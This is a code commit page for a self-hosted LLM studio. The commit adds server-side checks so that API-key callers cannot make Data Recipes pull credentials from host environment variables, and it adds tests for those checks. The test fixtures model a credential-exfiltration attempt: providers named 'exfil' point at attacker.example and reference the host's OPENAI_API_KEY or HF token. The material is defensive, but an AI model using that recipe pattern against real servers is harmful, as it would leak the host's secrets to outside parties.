Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Studio: API keys can't make a Data Recipe read credentials from the server environment (#14699)
Daniel Han1eab41f54a2c
diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.pyindex 42f19840a94..83bccba89c1 100644--- a/studio/backend/core/data_recipe/service.py+++ b/studio/backend/core/data_recipe/service.py@@ -592,6 +592,71 @@ def recipe_has_stdio_mcp(recipe: dict[str, Any]) -> bool:)+# Each env fallback is read only when its literal key is empty.+_ENV_CREDENTIAL_KEYS = {"api_key_env": "api_key", "token_env": "token", "hf_token_env": "hf_token"}+_LITERAL_CREDENTIAL_KEYS = set(_ENV_CREDENTIAL_KEYS.values())+++def _names_env_credential(value: Any) -> bool:+ if isinstance(value, list):+ return any(_names_env_credential(item) for item in value)+ if not isinstance(value, dict):+ return False+ for key, item in value.items():+ if key in _ENV_CREDENTIAL_KEYS and item and not value.get(_ENV_CREDENTIAL_KEYS[key]):+ return True+ if key in _LITERAL_CREDENTIAL_KEYS and isinstance(item, str) and item in os.environ:+ return True+ if isinstance(item, (dict, list)) and _names_env_credential(item):+ return True+ return False+++def recipe_names_host_env_credential(recipe: Any) -> bool:+ """True when a credential would come from this host's environment (Data Designer resolves a bare+ variable name in api_key/token from the environment first). Only top-level local model providers+ are exempt: the routes rewire exactly those to this server and drop their external auth."""+ if isinstance(recipe, dict) and isinstance(recipe.get("model_providers"), list):+ rest = {key: value for key, value in recipe.items() if key != "model_providers"}+ external = [+ provider+ for provider in recipe["model_providers"]+ if not (isinstance(provider, dict) and provider.get("is_local") is True)+ ]+ return _names_env_credential(rest) or _names_env_credential(external)+ return _names_env_credential(recipe)+++def _hf_seed_sends_host_token_elsewhere(recipe: Any) -> bool:+ """A tokenless HF seed sends the host's HF token to whatever endpoint it names."""+ if not isinstance(recipe, dict):+ return False+ seed_config = recipe.get("seed_config")+ source = seed_config.get("source") if isinstance(seed_config, dict) else None+ if not isinstance(source, dict) or source.get("seed_type") != "hf":+ return False+ if str(source.get("token") or "").strip():+ return False+ typed = str(source.get("endpoint") or "").strip()+ if not typed:+ return False+ from utils.hf_endpoint import get_hf_endpoint++ return typed.rstrip("/") != get_hf_endpoint().rstrip("/")+++def require_ui_session_for_host_env_credentials(recipe: Any, via_api_key: bool) -> None:+ """API key / keyless callers bring their own credentials; UI sessions keep the env lookup."""+ if via_api_key and (+ recipe_names_host_env_credential(recipe) or _hf_seed_sends_host_token_elsewhere(recipe)+ ):+ raise HTTPException(+ status_code = 403,+ detail = "Recipes sent with an API key cannot read credentials from the server's "+ "environment. Put the provider key in api_key instead of naming an environment variable.",+ )++def _require_confinable_mcp_transport(provider_type: str) -> None:"""Refuse network MCP for managed accounts: the engine opens its own connections and cannot use chat's confined transport."""if provider_type not in {"sse", "streamable_http"} or not managed_account():diff --git a/studio/backend/routes/data_recipe/jobs.py b/studio/backend/routes/data_recipe/jobs.pyindex 4335444684e..856fa2adabf 100644--- a/studio/backend/routes/data_recipe/jobs.py+++ b/studio/backend/routes/data_recipe/jobs.py@@ -52,7 +52,11 @@ from core.data_recipe.huggingface import (publish_recipe_dataset,)from core.data_recipe.jobs import get_job_manager-from core.data_recipe.service import recipe_has_stdio_mcp, validate_recipe_names+from core.data_recipe.service import (+ recipe_has_stdio_mcp,+ require_ui_session_for_host_env_credentials,+ validate_recipe_names,+)from loggers import get_loggerfrom models.data_recipe import (JobCreateResponse,@@ -564,6 +568,7 @@ def create_job(raise HTTPException(status_code = 400, detail = str(exc)) from excif recipe_has_stdio_mcp(recipe):require_ui_session_for_local_commands(via_api_key)+ require_ui_session_for_host_env_credentials(recipe, via_api_key)run: dict[str, Any] = payload.run or {}run.pop("artifact_path", None)diff --git a/studio/backend/routes/data_recipe/mcp.py b/studio/backend/routes/data_recipe/mcp.pyindex ed9787fd059..3d008234a78 100644--- a/studio/backend/routes/data_recipe/mcp.py+++ b/studio/backend/routes/data_recipe/mcp.py@@ -14,7 +14,11 @@ from auth.authentication import (authenticated_via_api_key,require_ui_session_for_local_commands,)-from core.data_recipe.service import build_mcp_providers, recipe_has_stdio_mcp+from core.data_recipe.service import (+ build_mcp_providers,+ recipe_has_stdio_mcp,+ require_ui_session_for_host_env_credentials,+)from loggers import get_loggerfrom models.data_recipe import (McpToolsListRequest,@@ -38,6 +42,7 @@ def list_mcp_tools(# Caller-supplied and probed immediately, so gate before any is built.if recipe_has_stdio_mcp({"mcp_providers": payload.mcp_providers}):require_ui_session_for_local_commands(via_api_key)+ require_ui_session_for_host_env_credentials(payload.mcp_providers, via_api_key)try:from data_designer.engine.mcp import io as mcp_ioexcept ImportError as exc:diff --git a/studio/backend/routes/data_recipe/validate.py b/studio/backend/routes/data_recipe/validate.pyindex bc5dda990a0..1e82bb7451a 100644--- a/studio/backend/routes/data_recipe/validate.py+++ b/studio/backend/routes/data_recipe/validate.py@@ -17,6 +17,7 @@ from core.data_recipe.service import (build_config_builder,create_data_designer,recipe_has_stdio_mcp,+ require_ui_session_for_host_env_credentials,validate_recipe,)from loggers import get_logger@@ -154,6 +155,11 @@ def _patch_local_providers(recipe: dict[str, Any]) -> None:continueif provider.pop("is_local", None) is True:provider["endpoint"] = "http://127.0.0.1"+ # Same as _inject_local_providers: external-only auth must not ride along to loopback.+ provider["api_key"] = None+ provider.pop("api_key_env", None)+ provider.pop("extra_headers", None)+ provider.pop("extra_body", None)@router.post("/validate", response_model = ValidateResponse)@@ -166,6 +172,7 @@ def validate(payload: RecipePayload, via_api_key: ViaApiKey = False) -> Validate)if recipe_has_stdio_mcp(recipe):require_ui_session_for_local_commands(via_api_key)+ require_ui_session_for_host_env_credentials(recipe, via_api_key)_patch_local_providers(recipe)_resolve_seed_endpoint(recipe)diff --git a/studio/backend/studio_mcp/tools/jobs.py b/studio/backend/studio_mcp/tools/jobs.pyindex e1e9353b6d1..3a70ccf81d4 100644--- a/studio/backend/studio_mcp/tools/jobs.py+++ b/studio/backend/studio_mcp/tools/jobs.py@@ -449,7 +449,7 @@ def _with_poll_after(kind: str, result: ToolResult, after: float) -> ToolResult:async def run_recipe(recipe: dict[str, Any], mode: Literal["validate", "preview", "full"] = "validate") -> RecipeResult:- """Validate a Data Recipe, or run it. "validate" checks it and returns any errors; "preview" generates a few rows; "full" generates the whole dataset and saves it. A run returns a job id at once: follow it with get_job(kind="recipe"). Recipes that define a local (stdio) MCP server can only be run from the Unsloth Studio UI."""+ """Validate a Data Recipe, or run it. "validate" checks it and returns any errors; "preview" generates a few rows; "full" generates the whole dataset and saves it. A run returns a job id at once: follow it with get_job(kind="recipe"). Recipes that define a local (stdio) MCP server, or take a provider key from a server environment variable (api_key_env), can only be run from the Unsloth Studio UI."""if mode == "validate":payload = await route_json("POST", f"{RECIPE_ROUTES}/validate", json_body = {"recipe": recipe}diff --git a/studio/backend/tests/test_data_recipe_env_credential_api_key_gate.py b/studio/backend/tests/test_data_recipe_env_credential_api_key_gate.pynew file mode 100644index 00000000000..9e0f8f6289d--- /dev/null+++ b/studio/backend/tests/test_data_recipe_env_credential_api_key_gate.py@@ -0,0 +1,172 @@+# SPDX-License-Identifier: AGPL-3.0-only+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0++"""API key / keyless recipes must not send a host env credential to an endpoint they choose."""++import pytest+from fastapi import HTTPException++from core.data_recipe import service+from models.data_recipe import McpToolsListRequest, RecipePayload++SECRET = "OPENAI_API_KEY"++[email protected](autouse = True)+def host_secret(monkeypatch):+ monkeypatch.setenv(SECRET, "sk-host-secret")+++def _model_provider(**fields):+ return {+ "name": "exfil",+ "endpoint": "https://attacker.example/v1",+ "provider_type": "openai",+ **fields,+ }+++def _mcp_provider(**fields):+ return {+ "name": "exfil",+ "endpoint": "https://attacker.example/mcp",+ "provider_type": "streamable_http",+ **fields,+ }+++def _recipe(**providers):+ return {"columns": [{"name": "c", "column_type": "llm-text"}], **providers}+++ "recipe",+ [+ _recipe(model_providers = [_model_provider(api_key_env = SECRET)]),+ _recipe(model_providers = [_model_provider(api_key = SECRET)]),+ _recipe(mcp_providers = [_mcp_provider(api_key_env = SECRET)]),+ _recipe(mcp_providers = [_mcp_provider(api_key = SECRET)]),+ _recipe(seed_config = {"source": {"seed_type": "hf", "token": SECRET}}),+ ],+)+def test_env_credentials_are_detected(recipe):+ assert service.recipe_names_host_env_credential(recipe) is True+++ "recipe",+ [+ _recipe(model_providers = [_model_provider(api_key = "sk-literal-key")]),+ _recipe(model_providers = [_model_provider(api_key_env = "")]),+ _recipe(model_providers = [_model_provider(api_key = "sk-literal-key", api_key_env = SECRET)]),+ _recipe(model_providers = [_model_provider(api_key_env = SECRET, is_local = True)]),+ _recipe(),+ ],+)+def test_own_credentials_and_local_providers_are_not_flagged(recipe):+ assert service.recipe_names_host_env_credential(recipe) is False+++ "recipe",+ [+ {**_recipe(model_providers = [_model_provider(api_key_env = SECRET)]), "is_local": True},+ _recipe(mcp_providers = [_mcp_provider(api_key_env = SECRET, is_local = True)]),+ _recipe(seed_config = {"source": {"seed_type": "hf", "token": SECRET, "is_local": True}}),+ [_mcp_provider(api_key = SECRET, is_local = True)],+ ],+)+def test_is_local_only_exempts_model_providers_the_routes_rewire(recipe):+ assert service.recipe_names_host_env_credential(recipe) is True+++def test_validate_drops_external_auth_from_local_providers():+ import routes.data_recipe.validate as validate_route++ recipe = _recipe(+ model_providers = [+ _model_provider(+ api_key_env = SECRET, api_key = "x", extra_headers = {"a": "b"}, is_local = True+ )+ ]+ )+ validate_route._patch_local_providers(recipe)+ provider = recipe["model_providers"][0]+ assert provider["endpoint"] == "http://127.0.0.1"+ assert provider["api_key"] is None+ assert "api_key_env" not in provider and "extra_headers" not in provider+++def _hf_seed(**source):+ return _recipe(+ seed_config = {"source": {"seed_type": "hf", "path": "datasets/a/b/x.csv", **source}}+ )+++def test_api_key_hf_seed_on_another_endpoint_must_bring_its_own_token():+ with pytest.raises(HTTPException) as exc:+ service.require_ui_session_for_host_env_credentials(+ _hf_seed(endpoint = "https://attacker.example"), via_api_key = True+ )+ assert exc.value.status_code == 403+ service.require_ui_session_for_host_env_credentials(+ _hf_seed(endpoint = "https://attacker.example", token = "hf_own"), via_api_key = True+ )+ service.require_ui_session_for_host_env_credentials(_hf_seed(), via_api_key = True)+ service.require_ui_session_for_host_env_credentials(+ _hf_seed(endpoint = "https://attacker.example"), via_api_key = False+ )+++def test_ui_session_keeps_the_env_lookup():+ recipe = _recipe(model_providers = [_model_provider(api_key_env = SECRET)])+ service.require_ui_session_for_host_env_credentials(recipe, via_api_key = False)+++def test_validate_refuses_api_key_before_any_work(monkeypatch):+ import routes.data_recipe.validate as validate_route++ def _never(*args, **kwargs):+ raise AssertionError("a refused request must not reach provider setup")++ monkeypatch.setattr(validate_route, "_patch_local_providers", _never)+ payload = RecipePayload(recipe = _recipe(model_providers = [_model_provider(api_key_env = SECRET)]))+ with pytest.raises(HTTPException) as exc:+ validate_route.validate(payload, via_api_key = True)+ assert exc.value.status_code == 403+++def test_create_job_refuses_api_key_before_minting_a_key_or_starting(monkeypatch):+ import routes.data_recipe.jobs as jobs_route++ def _never(*args, **kwargs):+ raise AssertionError("a refused request must not mint a key or start a job")++ monkeypatch.setattr(jobs_route, "_inject_local_providers", _never)+ monkeypatch.setattr(jobs_route, "get_job_manager", _never)+ payload = RecipePayload(recipe = _recipe(model_providers = [_model_provider(api_key = SECRET)]))+ with pytest.raises(HTTPException) as exc:+ jobs_route.create_job(payload, request = None, credential = ("owner", None), via_api_key = True)+ assert exc.value.status_code == 403+++def test_mcp_tool_listing_refuses_api_key_before_building_providers(monkeypatch):+ import routes.data_recipe.mcp as mcp_route++ def _never(*args, **kwargs):+ raise AssertionError("a refused request must not build or probe MCP providers")++ monkeypatch.setattr(mcp_route, "build_mcp_providers", _never)+ payload = McpToolsListRequest(mcp_providers = [_mcp_provider(api_key_env = SECRET)])+ with pytest.raises(HTTPException) as exc:+ mcp_route.list_mcp_tools(payload, via_api_key = True)+ assert exc.value.status_code == 403+++def test_keyless_callers_count_as_api_callers(monkeypatch):+ import asyncio++ from auth import authentication++ monkeypatch.setattr(authentication, "is_keyless", lambda credentials: True)+ assert asyncio.run(authentication.authenticated_via_api_key(None)) is True